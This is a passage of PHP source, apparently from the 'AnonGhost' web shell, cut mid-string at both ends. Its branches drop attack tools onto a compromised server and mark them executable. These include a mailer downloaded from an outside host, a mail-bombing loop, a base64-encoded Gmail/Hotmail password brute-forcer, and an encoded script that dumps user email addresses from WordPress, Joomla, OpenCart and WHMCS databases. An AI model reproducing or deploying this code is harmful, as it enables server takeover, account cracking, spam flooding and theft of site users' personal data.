0VmNETmI3NzBaOENZZFA4Rlh3ZFJ0cnRMNHd4eXFYVmQ3TDNMK3diMkpMK1JPdUtPU1R5WUhvMmV6Y0JvY1lIODRKUGJiYnRyaXFvVittVDdHUHVJNnhIQnZpVW53bnU1bzdyQldlSzE2MVovUlNSdjhJMTZ6TGVBODR6dkdwK0hmT0oyZmJSZzNieXk5d1REaTNYbGpudm5LZTh0eVQvR3lOZGNIR0wvS3pjeGY3dDdZSXVFaGpibkF2T0JhZXR2RmNnblBOYVpxVCtrTWEzcGl4blY4clJyU25SRTJBL2xCT3F1U1hmYXdwNHpmRmVVWVRvZlA3T21Ubk91NHA5aXE1OGpLZVVhMEFuaHd6aXJVRTU3WEZaeHJmbWdwNzlEVk92TnpHdXF0cmVmTStPVkQreVNzdm1rOERmQWZqaGVQZWVwaWM0ckZkRnlpbWllSHFIQThmRm1ySEFsNlZ5ei80Rjd5VXRuU29jU3c4VWJjVWZzc21jTGZHS3RqWVdwSjZWdS9najBDTE5HcFg1VnF2RFQ1cGJlWFJRcjZSMWtaVHl6WlhZcTZCRXppaWxwVmZaUC8zMGhIVzhsclhQdmJjMEUrS2g3U3dJMXc1Zjd1R1B0VWttZm90cUN1RHVzYngzdEQ4RFMyZHNVMW1QdXQyNFM4UjI5dndSOTJYUnJBZXJhZGFvckMra3BhL0NoeHFIcEpHS3VoQjZqakY0eFBPVHV3enNFOVp1UzZueFkrcWU4aTN5c0h3c3pUTkN6N2Q4QU1jbEI1TE04c0g3bzFVeHVhWm1RL3dzZklHM0JEWUs2RU5NKzlhc3hUODQzb3FYSStDSjJtbnM3NUk4T0pqWEMvRW9IaVdQVlRxazc2MkN1OEdtaTVpMmJQZFZoNDM3czFycmlFTHRWdWdFMVN2UCtIZkovbWRzUnI0bURuM2lYMnM5YmVsYzUxcnBNblR5aGU2ZC8zS3BkWCtUY1NJOVQrMmJyWU5PY204NVQ2RDlCUGF3TFp2WldqS2V0a3UxcFRTRE9TcTVOb1VySjl6WGJYMllBN0hqSHkwblRTdzcyRi85NTJpTE8wanJXV2Rqa1lSajF6dnN4ZmsvUVVZbWpVMy9OSG5PM05FOTV2V1QrMVdxVk1MK25yaXFCRjdRWXlpa2JYK0s3b2dMNTBuL0xCbTIwZ1lkWC9YbXBDK2plTzNvcDhEYmE4WWh4ZFVNKzMzcWJjemRiRjFmYmpHaFl2anR1SlFtSG1pYThyQ2cydDM2K0pLSFZDdXAzeUs3aEdQbVljWVMxeUpSaTZ2cFVlazQrZzNpQVBoQ2VQSzlwSk5HL21OV0JUdTBUd0ZYbkR2b0tETGkzMUlQV2VNdVI0VHIxM1JvcmQxUGRDZ1FieG1hM1h2MDMwUWJHTjdhazF3K05UdU8vbU5lci9BcGVvTjFkT2M3MU84b0tPTVUrdUZvRWFadk1HekJkdTVueW9kNGxvMndCRmMzYThYNjZjbmZxNG5QVTVPTTFhMFZ1b2U4UlQ3RWhZdnE2YzMrYW91dkZmc0pReHQ0TkIrcHo1bzVKS0tMblUvWmZaVXNYRkxpd2VDT3JCUTk4NjQ1Vnd4VVZndk5aTHlMdjJMQnMvUGZpYTkzVUkvVVBpbTV2YTNpbWJ1UTJlV2V1S3BzdUxNT3MyMWJqaFcydktwOW8xTmxiZlEzdTZkRitlZXVuSnZKVzhIdFU5eGpuckIrMWYwVVRwaDFYWGcrejU3emZteThtbW1mOUhTOG9meTJYYkszZVNUOUZqclBmY1lyWUVyOVpPMVh5TDNhRnkwb3ZidXVIcWRNSVlHbVQzNGRKLzFXYWJQcXoyL3NMdTVnTHhhd1Z4REowNi9rMHZkbTNidEh1Nm40aTlwUG10MTl5am9KUVlhdHJtL1pGMk1iMXRhR2tJeGFrMUF6aTFlKzJmWU43di91NjJjSmQvSGZkYkMzZGZWUE84Y2NzclQ1c1JBKzFicW1VSWRPTEhvV3A4Nkk4TUJydG5OTStLN0dMYWVQWkFMMStIR1NzOVRXS2JXblRtQTlRWjZXekZRN3V1N0hyV054a1hQdXpZekJqTTZxcUNsZ3Zpcy9pWndKUzhSRDdQSHovcU5jL0VJKzJuVXdRMXUwL2p1QlZYeURYWjN6ZWwrZHlXbkYzemNxSXNyTnBXdDZUVzVCbS9vUldrcjRqUzVYbVNQcmpsZEMyWDNWRjRMYTBGZXRpYlAxdVNYRldmaUt2Sk9JcFlEM2luN3lyRXpiKzlnQWh0b2I0NE4xMnJ0cEVlZE81NG5IdUcrWXNIMnBPNDAvd2RheHRvaVc2TWJML1NraEdYRzEzb2VTOWZMMTdMUjBKU3ZkOHZXbE9JUjhybGlqcGhXZlVWdklxTXo1L3oweldXRE9ueFZ3WHBCczFrN3hKejdQbXNnNVhaOHFOcWdNaTc5akhEOWx0YjZ3bm9TLzAzZWNyMFlLKzdDdFdtN3o3NWJ0cDU0dzAvWXVaSWozTHNMT04vOVFPdTQrYTNCdlNYMzUvUGlnT3BlSnZ6aTNvKzFrYkdxL0J4ZmRjajgvY0ovSDJJRWpBZTVOYXl4NE1CY1QzamRsd1lNdEVzajl6dldsTTh5R2dVTlV1R1A3RzlTOUNhdFI5MkhkdisvVVI4VmFubjVDd3o2VzA0QzM3cUcvcS9VUDRFdXJyRzRVeGlsam9uWHltdUpQa1c0QjBGOE5lZGVOSmU0RDR4cFR3VXRFT0FhZmFtOXBvWGpUSDF2TG03T25aZHh1SzYzaHNsb0hXc3k2OGQ4WFhyUHZScGhJdDlualJqMFEvd05jdmI1c1hlYzZnTmg0QTBYbXl2TncrWWx1SzNGU1NlaUJlYjNOVCtEem1qMDZjeTExaWlGZUhhTklYdGF4NEVaOStmbjkyOTZqNjdEcHliYzd2TWJyTzNpK3N2eHBiMCt4dGpadnIzZFY3OGd3STcxUEhoMzdwQjk0Um50SlovMG5Pc2w1OFFZR003dVQ3a3ZjRmxyQ2Vxall2dWgxNzcwTGMyRmFPdjU3cjQwbnI4UitUdTMrTjA1Nm5hZmRaRjd2WFB0OWI2K3k3bTJTVnhEMitWVHZxaG9zNFFlRjIrZzVWMFB1MDl1dmVwYVduMEllREs3Ym4wc2JSeHdibU85MWdEKzFtdE84ZitsWkdxNG9GWTFwMG9qRm5MbnRqUjNwcGFaL1gzaXczV1M4VmZSSkxrc1RrM1U0NDROOWNUejB0M3Vzem91cTdVdHoxWHJYdlNKYzU2MDBBMzdQTzdyT3pJK3IyZ0E5OVg4alVmMTFTa1hON1JQczk0ajk2bmZTTjFid0pMcW5icGl1SmFscDgxbEFYKzJmZjFXL3pVVHIzQmFzN1ltNWhyeE9mOWZCbDNuLzFOVERLU0JRY1dUNDhoMS95bnZ5N2JrOG96TnJaZm5OMG0rcGFuM1lmMitFK1BsRkg5cHhiSjhSWjNScUxrcnRoR251YmJ6LysvQWlabjhGdFNYcnBmbTkxWHpSVjI4NGp3ODZ6dC9lNndyeDJWcjNYTjlSbzN2T3VvY3o1bHZHQVdNVmVQaWc0YmE3dk9iVnNlY3huUS80SGFmMzFpVnI0bUY2aHp6WEZyWDliYjduZ1c5bFc4clorWFhPUHIvcUgzNXY3WHRMNXhUQjUzL2gxRkh4K1BqNXgvdi8rei8vc2R2NDE4bmYvL0I5KzcrUTAzSy9xTXJ5My8rOFY4PSdceDI5XHgyOVx4MjlceDNCIiwiIik7DQo/Pg==';
  341.     $file = fopen("wpdisp.php" ,"w+");
  342.     $write = fwrite ($file ,base64_decode($wpdisp));
  343.     fclose($file);
  344.         chmod("wpdisp.php",0755);
  345.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Wordpress Disclosure Path Vuln #1</b></p><iframe src=wpdisp.php width=75% height=60% frameborder=0></iframe>"; }
  346.        
  347.     elseif(isset($_GET['agma'])) {  
  348.     $agma ='http://agrotorrijos.es/language/en-GB.txt';
  349.     $file = fopen("agma.php" ,"w+");
  350.     $write = fwrite ($file ,file_get_contents($agma));
  351.     fclose($file);
  352.         chmod("agma.php",0755);
  353.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Mailer Inbox Sender</b></p><iframe src=agma.php width=80% height=60% frameborder=0></iframe>"; }
  354.        
  355.     elseif(isset($_GET['agmbom'])) { echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Mail Boomber</b></p>";
  356.     echo $head.'
  357.     <form method=post action="'.$me.'">
  358.     <p align="center">
  359.     Address : <input type="text" name="admail" size="50"><br><br>Subject : <input type="text" name="submail" size="50"><br><br><textarea cols=60 rows=18 name=textmail>Text</textarea><br><br>Number For Send : <input type="text" name="numail" size="5" value=1><input type=submit value=Send!></form>';
  360.     if ($_POST['admail'] && $_POST['submail'] ){
  361.     for($mi=0;$mi<intval($_POST['numail']);$mi++){
  362.     mail($_POST['admail'], $_POST['submail'], $_POST['textmail']);}
  363.     }}
  364.     elseif(isset($_GET['agmc'])) {
  365.     $agmc ='PGh0bWw+IA0KDQogICAgPGhlYWQ+IA0KICAgICAgICA8dGl0bGU+TXVsdGktTWFpbCBDcmFja2VyPC90aXRsZT4gDQogICAgICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQvSmF2YVNjcmlwdCIgc3JjPSJodHRwOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzEuNS4yL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0PiANCiAgICAgICAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4gDQogICAgICAgICAgICAkKGZ1bmN0aW9uKCl7IA0KICAgICAgICAgICAgICAgICQoInRleHRhcmVhIikuY2xpY2soZnVuY3Rpb24oKXsgDQogICAgICAgICAgICAgICAgICAgICQodGhpcykudmFsKCIiKTsgDQogICAgICAgICAgICAgICAgfSk7ICAgICAgICAgICAgIA0KICAgICAgICAgICAgfSk7ICAgICAgICAgICAgIA0KICAgICAgICAgICAgPC9zY3JpcHQ+IA0KICAgICAgICAgICAgPHN0eWxlIHR5cGU9InRleHQvQ3NzIj4gDQogICAgICAgICAgICAqe21hcmdpbjowO3BhZGRpbmc6MDtiYWNrZ3JvdW5kLWNvbG9yOiMxNTE1MTU7Zm9udC1mYW1pbHk6Q291cmllciBOZXc7Zm9udC1zaXplOjEycHg7Y29sb3I6IzU4RkFGNDt9IA0KICAgICAgICAgICAgZGl2I2Zvcm17Zm9udDoxMnB4LzIxcHggVGFob21hO21hcmdpbjoyNXB4IDAgMCA0NDRweH0gDQogICAgICAgICAgICBzcGFuI2Jhc2xpa3ttYXJnaW4tbGVmdDoxMzVweDtjb2xvcjojZWNhO2ZvbnQ6MjFweCBBcmlhbH0gDQogICAgICAgICAgICBpbnB1dCNzdWJtaXR7d2lkdGg6NDQ1cHg7aGVpZ2h0OjU1cHg7Zm9udDoxOXB4LzIxcHggQXJpYWx9IA0KICAgICAgICAgICAgZGl2I3NvbnVje3dpZHRoOjQwMHB4O2hlaWdodDoyNTBweDtiYWNrZ3JvdW5kLWNvbG9yOiNlNGU0ZTQ7bWFyZ2luOjIwcHggMCAwIDQ3MHB4fSANCiAgICAgICAgICAgIHNwYW4jY2lrdGl7YmFja2dyb3VuZC1jb2xvcjojZmZmO2NvbG9yOiNhYWE7cG9zaXRpb246cmVsYXRpdmV9IA0KICAgICAgICAgICAgPC9zdHlsZT4gDQogICAgPC9oZWFkPiANCg0KICAgIDxib2R5PiANCiAgICAgICAgPD9waHAgDQogICAgICAgICANCiAgICAgICAgLyogDQogICAgICAgICogQ29kZWQgYnkgczEuIA0KICAgICAgICAqIEZyaWVuZHMgOiBCdXJ0YXkgLCBNaXlhICwgVG9ybGFrLi4uIA0KICAgICAgICAqIENvbnRhY3QgOiBzcGFua2VyXzY3QGhvdG1haWwuY29tIA0KICAgICAgICAqIFN1cHBvcnRlZCBNYWlsIFNlcnZlcnMgOiBIb3RtYWlsLEdtYWlsICg6IA0KICAgICAgICAqICEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhIA0KICAgICAgICAqICEhISEgSU1QT1JUQU5UIDogQWN0aXZhdGUgaW1hcCBleHRlbnNpb24gVG8gcnVuIHdpdGhvdXQgcHJvYmxlbSAhISEhIA0KICAgICAgICAqICEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhIA0KICAgICAgICAqLyANCiAgICAgICAgIA0KICAgICAgICBzZXRfdGltZV9saW1pdCgwKTsgDQogICAgICAgIGVycm9yX3JlcG9ydGluZygwKTsgDQogICAgICAgICANCiAgICAgICAgY2xhc3MgczF7IA0KICAgICAgICAgDQogICAgICAgIHByaXZhdGUgJGFkcmVzID0gYXJyYXkoIA0KICAgICAgICAgICAgJ2dtYWlsJyA9PiAne2ltYXAuZ21haWwuY29tOjk5My9pbWFwL3NzbH0nLCANCiAgICAgICAgICAgICdob3RtYWlsJyA9PiAne3BvcDMubGl2ZS5jb206OTk1L3BvcDMvc3NsfScgDQogICAgICAgICk7IA0KICAgICAgICBwcml2YXRlICRpbWFwOyAgICAgICAgIA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkZ2VsZW4xLCRnZWxlbjIpeyANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgJHVuYW1lICAgICA9IGV4cGxvZGUoIlxyXG4iLCRnZWxlbjEpOyAgICAgDQogICAgICAgICAgICAgICAgJHB3ZCAgICAgPSBleHBsb2RlKCJcclxuIiwkZ2VsZW4yKTsgICAgIA0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRwd2QgYXMgJHBhc3MpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYXNzID0gdHJpbSgkcGFzcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJHVuYW1lIGFzICR1c2VyKXsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyID0gdHJpbSgkdXNlcik7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihwcmVnX21hdGNoKCdAZ21haWxAc2knLCR1c2VyKSl7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5iYWdsYW4oJHRoaXMtPmFkcmVzWyJnbWFpbCJdLCR1c2VyLCRwYXNzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZXsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmJhZ2xhbigkdGhpcy0+YWRyZXNbImhvdG1haWwiXSwkdXNlciwkcGFzcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgDQogICAgICAgICAgICAgDQogICAgICAgICAgICB9ICAgICANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICBwdWJsaWMgZnVuY3Rpb24gYmFnbGFuKCR1cmwsJHVzZXIsJHBhc3MpeyANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgJHRoaXMtPmltYXAgPSBpbWFwX29wZW4oJHVybCwkdXNlciwkcGFzcyk7IA0KICAgICAgICAgICAgICAgIGlmKCR0aGlzLT5pbWFwKXsgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzcGFuIGlkPSdjaWt0aScgPiR1c2VyID0+ICRwYXNzIDwvc3Bhbj48YnIgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBmdW5jdGlvbiBfX2Rlc3RydWN0KCl7IA0KICAgICAgICAgICAgIA0KICAgICAgICAgICAgaW1hcF9jbG9zZSgkdGhpcy0+aW1hcCk7IA0KICAgICAgICAgICAgIA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgIA0KICAgICAgICA/PiANCiAgICAgICAgIA0KICAgICAgICA8ZGl2IGlkPSJmb3JtIj4gDQogICAgICAgICAgICA8Zm9ybSBpZD0iZm9ybSIgbWV0aG9kPSJQT1NUIiA+IA0KICAgICAgICAgICAgPHRleHRhcmVhIGlkPSJhZGxhciIgbmFtZT0ibWFpbCIgcm93cz0iMjAiIGNvbHM9IjI4Ij5QdXQgRW1haWxzIFlvdSBXYW50IFRvIENyYWNrZXIgaGVyZSBeX148L3RleHRhcmVhPiAgDQogICAgICAgICAgICA8dGV4dGFyZWEgaWQ9InNpZnJlbGVyIiBuYW1lPSJzaWZyZSIgcm93cz0iMjAiIGNvbHM9IjI4Ij5QdXQgWW91ciBQYXNzd29yZCBMaXN0IEhlcmUgXl9ePC90ZXh0YXJlYT4gPGJyIC8+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgaWQ9InN1Ym1pdCIgdmFsdWU9IkJydXRlICEiIC8+IA0KICAgICAgICAgICAgPC9mb3JtPiANCiAgICAgICAgPC9kaXY+IA0KICAgICAgICA8ZGl2IGlkPSJzb251YyI+IA0KICAgICAgICA8P3BocCANCiAgICAgICAgIA0KICAgICAgICBpZigkX1BPU1QpeyANCiAgICAgICAgJG1haWxzID0gJF9QT1NUWyJtYWlsIl07IA0KICAgICAgICAkc2lmcmUgPSAkX1BPU1RbInNpZnJlIl07IA0KICAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYoKGlzc2V0KCRtYWlscykpIGFuZCAoaXNzZXQoJHNpZnJlKSkpeyAgICAgDQogICAgICAgICAgICAgICAgJHMxID0gbmV3IHMxKCRtYWlscywkc2lmcmUpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgID8+IA0KICAgICAgICA8L2Rpdj4gDQogICAgICAgICANCiAgICA8L2JvZHk+IA0KDQo8L2h0bWw+';
  366.     $file = fopen("agmc.php" ,"w+");
  367.     $write = fwrite ($file ,base64_decode($agmc));
  368.     fclose($file);
  369.         chmod("agmc.php",0755);
  370.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Gmail & Hotmail Cracker .</b></p><iframe src=agmc.php width=95% height=60% frameborder=0></iframe>"; }
  371.        
  372.     elseif(isset($_GET['exmail'])) {
  373.     $exmail ='PD8NCi8qDQogKiBUaXRsZSA6IEV4dHJhY3QgRW1haWxzIEZyb20gWyBPcGVuQ2FydCAtIEpvb01sYSAtIFdvcmRwcmVzcyAtIFdITUNTXQ0KICogQ29kZWQgQnkgOiB4U2VjdXJpdHkNCiAqIEVtYWlsICYgU2t5cGUgOiBiMHhAaG90bWFpbC5jb20gfiBiMHgtc2ENCiAqIEdyZWV0cyA6IE1yLkRtNHIgLSBOby1RUlFSIC0gYjB4IC0gRGFtZW5lRHogLSBGb1ggSGFDa0VyIC0gcjBraW4gLSBSQUIzT1VOIC0gTG92M3JETlMgLSBEZWVGIC0gYWJvbGFsaCAtIEdyb3VwIHgzIC0gQWxsIE1lbWJlcnMgfg0KICogSG9tZXBhZ2VzIDogc2VjNGV2ZXIuY29tIC0gaXMtc2VjLmNvbSAtIHhzZWMtbGFicy5jb20gLSBFeHBsb2l0NGFyLmNvbQ0KICogTXkgUHJvZmlsZSBpbiBFeG9sb2l0NGFyIFsgaHR0cDovL3d3dy5leHBsb2l0NGFyLmNvbS9hdXRob3IvNTEgXQ0KICovDQogZWNobyAiPGJvZHkgYmdjb2xvcj0nIzE1MTUxNSc+DQoJPGZvcm0gbWV0aG9kPSdHRVQnPg0KCTx0aXRsZT5Bbm9uR2hvc3QgRXh0cmFjdCBFbWFpbHMgRnJvbSBbIE9wZW5DYXJ0IC0gV29yZFByZXNzIC0gSm9vbWxhIC0gV0hNQ1MgXTwvdGl0bGU+PGxpbmsgcmVsPSdzaG9ydGN1dCBpY29uJyBocmVmPSdodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vei9wL3pwc2k5MGxmYzcuaWNvJyB0eXBlPSdpbWFnZS94LWljb24nIC8+DQoJPHN0eWxlIHR5cGU9J3RleHQvY3NzJz4gYm9keSB7IGJhY2tncm91bmQ6IzE1MTUxNTtiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cDovL2k5NTIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9hZTEvdmlydXNhd29ybS9hZy9mb25kYmdfenBzNjUwZjUwMjUuanBnKTsgZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3OyBmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OiA0MDA7IGNvbG9yOiAjNThGQUY0OyB0ZXh0LWFsaWduOiBjZW50ZXI7IH08L3N0eWxlPg0KCTxwIGFsaWduPSdjZW50ZXInIGRpcj0nbHRyJz4NCgk8cCBhbGlnbj0nY2VudGVyJyBkaXI9J2x0cic+DQoJPGZvbnQgc2l6ZT0nMicgZmFjZT0nQ291cmllciBOZXcnPls8L2ZvbnQ+PGZvbnQgZmFjZT0nQ291cmllciBOZXcnIGNvbG9yPScjRkYwMDAwJyBzaXplPScyJz4NCgk8L2ZvbnQ+PGZvbnQgZmFjZT0nQ291cmllciBOZXcnIHNpemU9JzInIGNvbG9yPScjZmZmYzAwJz4NCgk8YSBocmVmPSc/eHNlYz13b3JkcHJlc3MnIHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IG5vbmUnPg0KCTxmb250IGNvbG9yPScjZmZmYzAwJz5Xb3JkUHJlc3M8L2ZvbnQ+PC9hPiAtDQoJPGEgaHJlZj0nP3hzZWM9am9vbWxhJyBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiBub25lJz48Zm9udCBjb2xvcj0nI2ZmZmMwMCc+DQoJSm9vbWxhPC9mb250PjwvYT4gLSA8YSBocmVmPSc/eHNlYz1vcGVuY2FydCcgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogbm9uZSc+DQoJPGZvbnQgY29sb3I9JyNmZmZjMDAnPk9wZW5DYXJ0PC9mb250PjwvYT4gLQ0KCTxhIGhyZWY9Jz94c2VjPXdobWNzJyBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiBub25lJz48Zm9udCBjb2xvcj0nI2ZmZmMwMCc+DQoJV0hNQ1M8L2ZvbnQ+PC9hPiA8L2ZvbnQ+PGZvbnQgc2l6ZT0nMicgZmFjZT0nQ291cmllciBOZXcnPl08L2ZvbnQ+PC9wPjwvZm9ybT48L2JvZHk+IjsNCgkNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KICRkYXRhID0gJF9QT1NUWydkYXRhJ107DQogJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiAkcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KICRkYnByZWZpeCA9ICRfUE9TVFsnZGJwcmVmaXgnXTsNCiANCiAjIENvbW1hbmQgTXlTUUwNCiAkY2FydCA9ICJTRUxFQ1QgYGVtYWlsYCBGUk9NIGBvY191c2VyYCI7DQogJHdwID0gIlNFTEVDVCBgdXNlcl9lbWFpbGAgRlJPTSBgd3BfdXNlcnNgIjsNCiAkajAgPSAnU0VMRUNUIGBlbWFpbGAgRlJPTSBgJy4kZGJwcmVmaXguJ3VzZXJzYCBHUk9VUCBCWSBgZW1haWxgIE9SREVSIEJZIGBlbWFpbGAnOyANCiAkd2htID0gIlNFTEVDVCBgZW1haWxgIEZST00gYHRibGNsaWVudHNgIjsNCiANCiAjIGZ1bmN0aW9uIGNvbm5lY3QgTXlTUUwgJiBTZWxlY3QgREINCiBmdW5jdGlvbiBjb25uZWN0KCRob3N0LCRkYXRhLCR1c2VyLCRwYXNzKSB7DQogCSRjbyA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoJJGRhID0gQG15c3FsX3NlbGVjdF9kYigkZGF0YSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KCQlyZXR1cm4gJGNvOw0KIH0NCg0KICMgT3BlbkNhcnQNCiBpZigkX0dFVFsneHNlYyddID09ICdvcGVuY2FydCcpIHsNCiAJZWNobyAiDQogCTxmb3JtIG1ldGhvZD0nUE9TVCc+PGNlbnRlcj4NCiAJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hvc3QnIHZhbHVlPSdsb2NhbGhvc3QnPg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkYXRhJyB2YWx1ZT0nZGF0YWJhc2UnPg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1c2VyJyB2YWx1ZT0ndXNlcm5hbWUnPg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzJyB2YWx1ZT0ncGFzc3dvcmQnPg0KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdFeGVjdXRyZSc+PC9wPjwvY2VudGVyPjwvZm9ybT4iOw0KCWVjaG8gIjxwIGFsaWduPSdjZW50ZXInIGRpcj0nbHRyJz48dGV4dGFyZWEgY29scz0nMzUnIHJvd3M9JzE4Jz4iOw0KCWlmKGNvbm5lY3QoJGhvc3QsICRkYXRhLCAkdXNlciwgJHBhc3MpKSB7DQoJJGNtZDEgPSBAbXlzcWxfcXVlcnkoJGNhcnQpOw0KCXdoaWxlKCRlbWFpbHMxID0gQG15c3FsX2ZldGNoX2FycmF5KCRjbWQxKSkgew0KCWVjaG8gInskZW1haWxzMVtlbWFpbF19XG4iOyB9DQoJZWNobyAiPC90ZXh0YXJlYT4iOyAgfSB9DQogDQogIyBXb3JkcHJlc3MNCiBpZigkX0dFVFsneHNlYyddID09ICd3b3JkcHJlc3MnKSB7DQogCWVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+PGNlbnRlcj4NCiAJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hvc3QnIHZhbHVlPSdsb2NhbGhvc3QnPg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkYXRhJyB2YWx1ZT0nZGF0YWJhc2UnPg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1c2VyJyB2YWx1ZT0ndXNlcm5hbWUnPg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzJyB2YWx1ZT0ncGFzc3dvcmQnPg0KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdFeGVjdXRyZSc+PC9jZW50ZXI+PC9mb3JtPiI7DQoJZWNobyAiPHAgYWxpZ249J2NlbnRlcicgZGlyPSdsdHInPjx0ZXh0YXJlYSBjb2xzPSczNScgcm93cz0nMTgnPiI7DQoJaWYoY29ubmVjdCgkaG9zdCwgJGRhdGEsICR1c2VyLCAkcGFzcykpIHsNCgkkY21kMiA9IEBteXNxbF9xdWVyeSgkd3ApOw0KCXdoaWxlKCRlbWFpbHMyID0gQG15c3FsX2ZldGNoX2FycmF5KCRjbWQyKSkgew0KCQllY2hvICJ7JGVtYWlsczJbdXNlcl9lbWFpbF19XG4iOyB9DQoJZWNobyAiPC90ZXh0YXJlYT4iOyB9IH0NCiANCiAjIEpvb21sYQ0KIGlmKCRfR0VUWyd4c2VjJ10gPT0gJ2pvb21sYScpIHsNCiAJZWNobyAiPGZvcm0gbWV0aG9kPSdQT1NUJz48Y2VudGVyPg0KIAk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naG9zdCcgdmFsdWU9J2xvY2FsaG9zdCc+DQoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RhdGEnIHZhbHVlPSdkYXRhYmFzZSc+DQoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3VzZXInIHZhbHVlPSd1c2VybmFtZSc+DQoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bhc3MnIHZhbHVlPSdwYXNzd29yZCc+DQoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RicHJlZml4JyB2YWx1ZT0ncHJlZml4Xyc+DQoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0V4ZWN1dHJlJz48L2NlbnRlcj48L2Zvcm0+IjsNCgllY2hvICI8cCBhbGlnbj0nY2VudGVyJyBkaXI9J2x0cic+PHRleHRhcmVhIGNvbHM9JzM1JyByb3dzPScxOCc+IjsNCglpZihjb25uZWN0KCRob3N0LCAkZGF0YSwgJHVzZXIsICRwYXNzKSkgew0KIAkkY21kMyA9IEBteXNxbF9xdWVyeSgkajApOw0KCXdoaWxlKCRlbWFpbHMzID0gQG15c3FsX2ZldGNoX2FycmF5KCRjbWQzKSkgew0KCQllY2hvICJ7JGVtYWlsczNbZW1haWxdfVxuIjsgfQ0KCWVjaG8gIjwvdGV4dGFyZWE+IjsgfSB9DQogDQogIyBXSE1DUw0KIGlmKCRfR0VUWyd4c2VjJ10gPT0gJ3dobWNzJykgew0KIAllY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnPjxjZW50ZXI+DQogCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdob3N0JyB2YWx1ZT0nbG9jYWxob3N0Jz4NCgk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZGF0YScgdmFsdWU9J2RhdGFiYXNlJz4NCgk8aW5wdXQgdH